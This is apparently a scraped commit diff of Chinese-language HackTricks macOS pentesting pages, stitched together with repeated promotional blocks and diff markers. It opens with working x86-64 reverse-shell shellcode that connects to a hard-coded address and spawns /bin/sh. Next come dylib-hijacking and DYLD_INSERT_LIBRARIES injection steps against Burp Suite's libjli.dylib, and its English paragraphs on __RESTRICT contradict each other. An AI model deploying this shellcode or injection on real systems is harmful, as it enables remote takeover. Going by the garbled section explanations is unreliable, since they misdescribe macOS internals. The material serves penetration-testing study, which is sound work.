mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -66,7 +66,7 @@ path @loader_path/../lib (offset 12)
{% endcode %}
{% endtab %}
{% tab title="@executable_path" %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
@ -91,7 +91,7 @@ compatibility version 1.0.0
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
然而,第一个位置不存在:
然而,第一个不存在:
```bash
pwd
/Applications/Burp Suite Professional.app
@ -100,7 +100,7 @@ find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
```
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出相同的功能,同时记得使用期的版本进行编译:
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出相同的功能,同时记得使用期的版本进行编译:
{% code title="libjli.m" %}
```objectivec
@ -184,9 +184,15 @@ sudo chmod -s hello
```
### `__RESTRICT`部分与`__restrict`段
The `__RESTRICT` section is a special section in macOS that is used to restrict the dynamic linker's behavior. It contains a segment called `__restrict` which specifies the libraries that should be restricted from being loaded by the dynamic linker.
The `__RESTRICT` section and `__restrict` segment are important components of macOS security. They play a crucial role in preventing privilege escalation and protecting the system from unauthorized access.
`__RESTRICT`部分是macOS中的一个特殊部分用于限制动态链接器的行为。它包含一个名为`__restrict`的段,该段指定了应该限制动态链接器加载的库。
`__RESTRICT` is a section in the macOS kernel that contains code and data that should not be modified or tampered with. It is designed to restrict access to critical system functions and prevent unauthorized modifications.
On the other hand, the `__restrict` segment is a memory segment that is marked as read-only and non-writable. It contains sensitive data and code that should not be modified or hijacked by malicious actors.
By enforcing strict restrictions on these sections and segments, macOS ensures the integrity and security of its kernel and prevents potential privilege escalation attacks.
Both the `__RESTRICT` section and `__restrict` segment are essential components of macOS's defense mechanisms and contribute to the overall security of the operating system.
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
@ -197,25 +203,44 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
{% code overflow="wrap" %}
```bash
# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
# Apply library validation
codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
codesign -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed
# Sign it
## If the signature is from an unverified developer the injection will still work
## If it's from a verified developer, it won't
codesign -f -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
# Apply CS_RESTRICT protection
codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
{% endcode %}
{% hint style="danger" %}
请注意,即使有用标志**`0x0(none)`**签名的二进制文件,当执行时它们也可以动态地获得**`CS_RESTRICT`**标志,因此这种技术在它们上面不起作用。
您可以使用以下命令检查进程是否具有此标志(获取[**csops here**](https://github.com/axelexic/CSOps)&#x20;
```bash
csops -status <pid>
```
然后检查是否启用了标志位0x800。
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -0,0 +1,37 @@
# macOS危险权限
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
{% hint style="warning" %}
请注意,以**`com.apple`**开头的权限不可供第三方使用只有Apple可以授予。
{% endhint %}
### `com.apple.security.get-task-allow`
此权限允许获取由具有此权限的二进制文件运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### **`com.apple.system-task-ports`(以前称为`task_for_pid-allow`**
**此权限允许**获取除内核以外的**任何进程的任务端口**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>